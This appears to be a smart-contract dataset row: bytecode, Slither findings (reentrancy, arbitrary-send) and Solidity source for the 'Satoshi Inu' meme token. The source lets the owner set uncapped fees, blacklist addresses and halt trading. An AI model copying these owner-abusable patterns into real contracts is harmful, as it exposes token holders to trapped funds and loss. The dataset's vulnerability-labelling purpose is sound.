482613215565b915061315f83613215565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613198576131976132eb565b5b828202905092915050565b60006131ae82613215565b91506131b983613215565b9250828210156131cc576131cb6132eb565b5b828203905092915050565b60006131e2826131f5565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061323782613215565b9050919050565b60005b8381101561325c578082015181840152602081019050613241565b8381111561326b576000848401525b50505050565b61327a826133bb565b810181811067ffffffffffffffff8211171561329957613298613378565b5b80604052505050565b60006132ad82613215565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156132e0576132df6132eb565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6136cb816131d7565b81146136d657600080fd5b50565b6136e2816131e9565b81146136ed57600080fd5b50565b6136f981613215565b811461370457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200b700fc5de68ea8dd2e6bd7a089ea37d6f61510bda3b4fa8ecb27ede731eb15364736f6c63430008060033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 1,947 |
0x34cb4379b864b19e55548878ada100146c2a10ea | /**
*Submitted for verification at Etherscan.io on 2022-04-05
*/
// SPDX-License-Identifier: Unlicensed
/**
Happy 47th birthday to Satoshi Nakamoto
The world will never be the same.
Today - April 5th - is the chosen birthday of the anonymous Bitcoin creator! We will continue to orange pill the world in his honor.
Total: 21,000,000
Liquidity: 4.7 ETH
Max: 1% = 210,000
454594454545444445444444459545444445444545454544454445444444444445444495454445954595444545444445454544454445454545444595
455454545454545454545454545454545454545454545454545454545444595444545454545454545454545454545454545454545454545454545455
959545459445954545949544444545454444444494946499999499996494956444949494696994499494444544444545454495459544454544444545
455454544454544454544454445444444949469699454426214911114141111517151561411129945949994949495444544954445454545444544454
954545454444444445454445459494949499912151717117756917574747171667967117974579977951915945949494949945454545444545454445
444444544454545454544454544494164779671175721407164617175751221657467557575179717267725941712924961194544949444454544444
954445444545454544454545449724756717917564746962199442556564999445999995952192241107299461794711192195960600694545444545
444454445444545444445444549571175722152669499646999446969959641449955646466066969995494947201102799646927111209954445444
954445444544644545454445444912029406660445692199276572956277657266577569574917546444949995992117494465177777779944444445
445444444442194454445444444699604456957111161740275972949577757409727160171714964771949556496659994657747 7277694544454
95444545449174944545459469954657177181715556971117267164657517124175174677718904711769977504259969965711 7 577595444545
44445454594999445446994511771677982756211271971697707799957501777771977972571657751790177557716912560777 777115944545444
9544444445459494449259611174062790071051557107166119526609668977801 9044590112774217957517177697717760177755496445454545
444454545449969946577148607766977217165227500060080006545914275525477060080808686041517055575077685710111500995444445454
95954544449951119997227166571964112594097781789271777577717777577779777 777777559680090008118179897769977114699494454545
44544454494775254661717775611946969690017227 77777711649569607772541965511777 777775585791486577177460172929525699545444
959445454497711177677569559994959460841787 75 20808664996469084171618086008080949777777161740965219991716601717759454545
4454545454992259175516999944444448927777080887704944444949965688086657780800499690004715 7 76696969957169477586779444454
95444545454461771299944444909466077 795771161164954544454957777194771 0171764959496718657771604444494646779897754944595
445444445454495499444444465788671170066011762199545454544677091711781761727799445446774008611718944449499577177499445444
954544454544449495444544688 40777809949966046495444445459985728686498154877004454499517775798177669545444965229444454595
44544944494949445444445927 1094949494454545454445446097726961771719869774044444490992949487 709444544946994944445444
954449668080806995454549177 209449646994444445444494667779094116800457666171654544646994954981 70444454445444445444495
4449689277777120064454546808 70049401757284449496099904775009011112221776888 7644999164644544968779954445454544454545444
9590477 7777777774649545946077899407 561 1044406119657750601771115411710577715649657757189954460778445454545444545454545
4961 7725516521777264954599817604617409877464077772711969617565212106060712666499677002 70444982770954444454545454544644
991 7151 772217771644544981 70067186668 7649771710800967129466067704667789944467106981 5649967779944454545454545456546
6577127 7 7917772945444487 198171554151949689617991426412271741960847764544997180068716668177796544454544454545947 2
01711115 17 721114954444907787 168777574654544677117711894175496095777199545450177112799851716510444444545454545444174
62 711167 787 517264454544877087 71088006545454977772476177177277777776695454544661175205777108770954545459944454544699
997 77227 7111764455555407 66047777756664454546690677772969649544666445454545996080927 718471770445554595464545555545
6807 71271 7702179006060606877080808977 172008080808880868800060080008086008880808617777160881797 0866606805 80800666660
00801 711111777208606060088778880888086977767175480808080808888808080808886921777 7758880802 101 8806068880 18498060606
6668082777777772086060966608775718006008088042777777777776162911150111777 777771700809052808710817089660077 78966666
0996608080008880090609696900770775908009888880808002277772777777778777771199808880801 11777 7080778069668771 6089690669
6690906008088060669066964068770801 7188808517727080808080808080808080888888808680887 908057798087 80909008880 6806609696
099669696666090996690966960077008097 772 5447778086868085622088880088947141688057508908888680178096660900810686660909
66909696909096969669699096689 780888059405988888577508880177777774080867 719771127 1000660606005718840906666680690696096
09966609666696696609666696668171860608888000690080177717 728808477 777 50808847 1086640696801 708666666606696696096669
6640466696999696969096969060081778880060609096606808171118886098001777488090680808086669086897 2086666969046969696699696
066666096669660600660969660600817210808666666606060080808669606600808880066606660006666080921760860666096966066969096609
00006060606000606060606060600008017 719860606060606800080860606060080008600060600060680447779888006808680060606000606000
659494944444444444444445444445949004515444444545454444444545454444444444459445449445449145506494444544444595444544454545
**/
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract SATOSHI is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Satoshi Inu";
string private constant _symbol = "SATOSHI";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 21000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 4;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 7;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0xEeE627fba75156d5dE29198019e06065029DAcDf);
address payable private _marketingAddress = payable(0xEeE627fba75156d5dE29198019e06065029DAcDf);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 210047 * 10**9;
uint256 public _maxWalletSize = 210047 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610558578063dd62ed3e14610578578063ea1644d5146105be578063f2fde38b146105de57600080fd5b8063a2a957bb146104d3578063a9059cbb146104f3578063bfd7928414610513578063c3c8cd801461054357600080fd5b80638f70ccf7116100d15780638f70ccf71461044d5780638f9a55c01461046d57806395d89b411461048357806398a5c315146104b357600080fd5b80637d1db4a5146103ec5780637f2feddc146104025780638da5cb5b1461042f57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038257806370a0823114610397578063715018a6146103b757806374010ece146103cc57600080fd5b8063313ce5671461030657806349bd5a5e146103225780636b999053146103425780636d8aa8f81461036257600080fd5b80631694505e116101ab5780631694505e1461027457806318160ddd146102ac57806323b872dd146102d05780632fd689e3146102f057600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024457600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611954565b6105fe565b005b34801561020a57600080fd5b5060408051808201909152600b81526a5361746f73686920496e7560a81b60208201525b60405161023b9190611a19565b60405180910390f35b34801561025057600080fd5b5061026461025f366004611a6e565b61069d565b604051901515815260200161023b565b34801561028057600080fd5b50601454610294906001600160a01b031681565b6040516001600160a01b03909116815260200161023b565b3480156102b857600080fd5b50664a9b63844880005b60405190815260200161023b565b3480156102dc57600080fd5b506102646102eb366004611a9a565b6106b4565b3480156102fc57600080fd5b506102c260185481565b34801561031257600080fd5b506040516009815260200161023b565b34801561032e57600080fd5b50601554610294906001600160a01b031681565b34801561034e57600080fd5b506101fc61035d366004611adb565b61071d565b34801561036e57600080fd5b506101fc61037d366004611b08565b610768565b34801561038e57600080fd5b506101fc6107b0565b3480156103a357600080fd5b506102c26103b2366004611adb565b6107fb565b3480156103c357600080fd5b506101fc61081d565b3480156103d857600080fd5b506101fc6103e7366004611b23565b610891565b3480156103f857600080fd5b506102c260165481565b34801561040e57600080fd5b506102c261041d366004611adb565b60116020526000908152604090205481565b34801561043b57600080fd5b506000546001600160a01b0316610294565b34801561045957600080fd5b506101fc610468366004611b08565b6108c0565b34801561047957600080fd5b506102c260175481565b34801561048f57600080fd5b506040805180820190915260078152665341544f53484960c81b602082015261022e565b3480156104bf57600080fd5b506101fc6104ce366004611b23565b610908565b3480156104df57600080fd5b506101fc6104ee366004611b3c565b610937565b3480156104ff57600080fd5b5061026461050e366004611a6e565b610975565b34801561051f57600080fd5b5061026461052e366004611adb565b60106020526000908152604090205460ff1681565b34801561054f57600080fd5b506101fc610982565b34801561056457600080fd5b506101fc610573366004611b6e565b6109d6565b34801561058457600080fd5b506102c2610593366004611bf2565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105ca57600080fd5b506101fc6105d9366004611b23565b610a77565b3480156105ea57600080fd5b506101fc6105f9366004611adb565b610aa6565b6000546001600160a01b031633146106315760405162461bcd60e51b815260040161062890611c2b565b60405180910390fd5b60005b81518110156106995760016010600084848151811061065557610655611c60565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069181611c8c565b915050610634565b5050565b60006106aa338484610b90565b5060015b92915050565b60006106c1848484610cb4565b610713843361070e85604051806060016040528060288152602001611da4602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111f0565b610b90565b5060019392505050565b6000546001600160a01b031633146107475760405162461bcd60e51b815260040161062890611c2b565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107925760405162461bcd60e51b815260040161062890611c2b565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e557506013546001600160a01b0316336001600160a01b0316145b6107ee57600080fd5b476107f88161122a565b50565b6001600160a01b0381166000908152600260205260408120546106ae90611264565b6000546001600160a01b031633146108475760405162461bcd60e51b815260040161062890611c2b565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108bb5760405162461bcd60e51b815260040161062890611c2b565b601655565b6000546001600160a01b031633146108ea5760405162461bcd60e51b815260040161062890611c2b565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109325760405162461bcd60e51b815260040161062890611c2b565b601855565b6000546001600160a01b031633146109615760405162461bcd60e51b815260040161062890611c2b565b600893909355600a91909155600955600b55565b60006106aa338484610cb4565b6012546001600160a01b0316336001600160a01b031614806109b757506013546001600160a01b0316336001600160a01b0316145b6109c057600080fd5b60006109cb306107fb565b90506107f8816112e8565b6000546001600160a01b03163314610a005760405162461bcd60e51b815260040161062890611c2b565b60005b82811015610a71578160056000868685818110610a2257610a22611c60565b9050602002016020810190610a379190611adb565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6981611c8c565b915050610a03565b50505050565b6000546001600160a01b03163314610aa15760405162461bcd60e51b815260040161062890611c2b565b601755565b6000546001600160a01b03163314610ad05760405162461bcd60e51b815260040161062890611c2b565b6001600160a01b038116610b355760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610628565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bf25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610628565b6001600160a01b038216610c535760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610628565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d185760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610628565b6001600160a01b038216610d7a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610628565b60008111610ddc5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610628565b6000546001600160a01b03848116911614801590610e0857506000546001600160a01b03838116911614155b156110e957601554600160a01b900460ff16610ea1576000546001600160a01b03848116911614610ea15760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610628565b601654811115610ef35760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610628565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3557506001600160a01b03821660009081526010602052604090205460ff16155b610f8d5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610628565b6015546001600160a01b038381169116146110125760175481610faf846107fb565b610fb99190611ca5565b106110125760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610628565b600061101d306107fb565b6018546016549192508210159082106110365760165491505b80801561104d5750601554600160a81b900460ff16155b801561106757506015546001600160a01b03868116911614155b801561107c5750601554600160b01b900460ff165b80156110a157506001600160a01b03851660009081526005602052604090205460ff16155b80156110c657506001600160a01b03841660009081526005602052604090205460ff16155b156110e6576110d4826112e8565b4780156110e4576110e44761122a565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112b57506001600160a01b03831660009081526005602052604090205460ff165b8061115d57506015546001600160a01b0385811691161480159061115d57506015546001600160a01b03848116911614155b1561116a575060006111e4565b6015546001600160a01b03858116911614801561119557506014546001600160a01b03848116911614155b156111a757600854600c55600954600d555b6015546001600160a01b0384811691161480156111d257506014546001600160a01b03858116911614155b156111e457600a54600c55600b54600d555b610a7184848484611462565b600081848411156112145760405162461bcd60e51b81526004016106289190611a19565b5060006112218486611cbd565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610699573d6000803e3d6000fd5b60006006548211156112cb5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610628565b60006112d5611490565b90506112e183826114b3565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133057611330611c60565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611389573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113ad9190611cd4565b816001815181106113c0576113c0611c60565b6001600160a01b0392831660209182029290920101526014546113e69130911684610b90565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061141f908590600090869030904290600401611cf1565b600060405180830381600087803b15801561143957600080fd5b505af115801561144d573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061146f5761146f6114f5565b61147a848484611523565b80610a7157610a71600e54600c55600f54600d55565b600080600061149d61161a565b90925090506114ac82826114b3565b9250505090565b60006112e183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611658565b600c541580156115055750600d54155b1561150c57565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061153587611686565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061156790876116e3565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115969086611725565b6001600160a01b0389166000908152600260205260409020556115b881611784565b6115c284836117ce565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161160791815260200190565b60405180910390a3505050505050505050565b6006546000908190664a9b638448800061163482826114b3565b82101561164f57505060065492664a9b638448800092509050565b90939092509050565b600081836116795760405162461bcd60e51b81526004016106289190611a19565b5060006112218486611d62565b60008060008060008060008060006116a38a600c54600d546117f2565b92509250925060006116b3611490565b905060008060006116c68e878787611847565b919e509c509a509598509396509194505050505091939550919395565b60006112e183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111f0565b6000806117328385611ca5565b9050838110156112e15760405162461bc